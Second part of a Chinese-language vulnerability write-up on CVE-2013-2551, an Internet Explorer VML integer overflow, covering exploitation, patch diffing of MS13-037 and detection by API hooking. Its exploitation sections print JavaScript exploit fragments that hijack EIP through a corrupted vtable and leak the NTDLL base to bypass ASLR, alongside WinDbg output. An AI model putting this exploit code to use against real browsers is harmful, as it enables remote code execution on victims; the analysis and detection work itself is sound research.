CVE-2013-2551樣本分析及漏洞利用和防御(下篇)
3.4 劫持EIP
劫持EIP的源碼大致如下:
for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
location.reload();
由于0x0c0c0c0c在內存中存在太多,不方便搜索,將其修改為一個比較特殊的值0x0eeeee0e,然后加入彈框
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");
使用windbg附加運行,在彈框后暫停,然后搜索數值0x0eeeee0e
0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e
01a25c49 0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc ....%......t....
01a2ca8a 0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a ....%..[.(.t....
01a2cfc0 0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00 ................
12b60280 0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12 ....P........<..
根據對其,可以排除第一個搜索結果,由于搜索到的結果不多,可以根據其分布在數組{1,2,3,4}之后尋找
經過在內存中往上尋找數組,地址0x12b60280符合條件
查看附近內存布局

我們看到,一個COAShape對象緊接著一個COAReturnedPointsForAnchor對象,它們占用的內存空間都是一樣的。根據源碼,我們可以知道,通過布置跟對象大小相同的數組,利用溢出,定位到后一個對象(此處是COAShape對象)的虛表
查看COAShape虛表的內容

此時我們知道虛表指針被改寫了
對0x0eeeee0e下執行斷點,中斷時查看函數的調用關系
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c
020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf
020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56
...(lines have been omitted)...
查看上層調用
mshtml!ClearInterfaceFn:
6a23f202 8b08 mov ecx,dword ptr [eax]
6a23f204 832000 and dword ptr [eax],0
6a23f207 85c9 test ecx,ecx
6a23f209 7501 jne mshtml!ClearInterfaceFn+0x9 (6a23f20c)
6a23f20b c3 ret
6a23f20c 8b01 mov eax,dword ptr [ecx]
6a23f20e 51 push ecx
6a23f20f ff5008 call dword ptr [eax+8]
6a23f212 ebf7 jmp mshtml!ClearInterfaceFn+0xf (6a23f20b)
地址0x6a23f20f是在調用虛表第二項,正常情況是Release函數,溢出后,劫持了EIP
構造的利用樣本將在此處執行換棧操作
0:005> u poi(0c0c0c0c + 8) L1
ntdll!A_SHAInit+0x2e:
77865789 94 xchg eax,esp
3.5 不使用0x7ffe0300泄露NTDLL.DLL基址過ASLR
使用固定偏移泄露NTDLL.DLL的基址在打過補丁的Windows 7系統上已經不能使用了,實際利用中局限性比較大。我們可以考慮泄露其他模塊的基址,或者換種思路泄露NTDLL.DLL基址
對于已有的利用代碼來講換種方式泄露NTDLL.DLL基址對代碼的改動量比較小
查看漏洞模塊自身的導入表信息

好吧,沒有導入NTDLL.DLL的函數。那么我也比較懶,泄露VGX.DLL模塊的基址,通過導入表找到KERNEL32.DLL,針對其中某個函數到NTDLL.DLL基址的固定偏移泄露NTDLL.DLL基址。簡單可行,源碼改動小。當然,缺點是VGX.DLL模塊版本限定太死
源碼大致如下:
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
/////////////////////////////////////////////////////////
//offset to PE
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
var leak = a[i].marginLeft;
pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
//find import directory
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
var leak = a[i].marginLeft;
import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
//find kernel32.dll
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
var leak = a[i].marginLeft;
thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
//find first function address
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
var leak = a[i].marginLeft;
first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
ntdll_base = first_function_addr - 0x47760;
//return original value
vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
/////////////////////////////////////////////////////////
alert("base of ntdll.dll : " + ntdll_base.toString(16));
break;
}
}
return ntdll_base;
0x4 漏洞檢測
通過本文第二部分分析,已經知道在vgx!ORG::CElements函數內造成溢出
源碼中的關鍵溢出語句:
vml1.dashstyle.array.length = 0 - 1;
從數據關系的角度來看,銀行柜臺辦理存款業務時,柜員收到現金的時候,應該先驗鈔還是先辦理存款登記再驗證鈔票真偽?答案顯然是前者。那么我們的檢測點也應該提前到數據輸入的地方。
4.1 根據微軟安全公告下載補丁
根據微軟的安全公告MS13-037下載到補丁KB2829530,補丁前后的VGX.DLL文件版本分別為
[補丁前]:8.0.7601.18106
[補丁后]:8.0.7601.18126
4.2 使用Bindiff對比文件
使用Bindiff對比vgx.dll之后,根據符號名稱猜測是在COALineDashStyleArray::put_length函數進行的修補

進行對比

通過Windbg調試驗證
走到判斷數值是否小于0

G一下,利用樣本正常運行,沒有觸發漏洞

我們可以鉤取COALineDashStyleArray::put_length函數前五字節,插入判斷代碼,判斷參數的值是否小于0,如果小于0提示用戶觸發CVE-2013-2551,否則還原流程

檢測代碼編寫略
檢測效果截圖

0x5 總結
該漏洞屬于整數溢出漏洞。其漏洞原因在于VGX.DLL模塊中處理dashstyle.array.length屬性時未對輸入參數進行有效檢查。利用溢出造成任意地址讀寫,改寫虛表指針劫持EIP獲得任意代碼執行的能力
根據參考代碼,筆者通過泄露NTDLL.DLL模塊基址的方式繞過ASLR,當然,此次繞過的方式并不具有通用性,漏洞利用技巧也是筆者需要更多學習、思考以及參考野外樣本利用方式待以提升的地方
編碼對該漏洞利用樣本進行動態檢測,從數據關系的角度來看,一定是在獲取外部數據的位置部署檢測代碼。筆者對關鍵函數進行API HOOK,一旦外部數據不合法立即提示給用戶
0x6 參考資料
[1] 4B5F5F4B《CVE-2013-2551/MS13-037 POC》
[2] Danny__Wei《CVE-2013-2551漏洞成因與利用分析》
[3] tedjoy《Advanced Exploitation Technology-Analyze》
[4] hac425《IE瀏覽器漏洞利用技術的演變 ( 二 )》
[5] Yang Yu《DEP-ASLR bypass without ROP-JIT》
*本文為 華興永恒安全團隊發布,如若轉載,請注明來源興華永恒:www.flatwaterrentals.com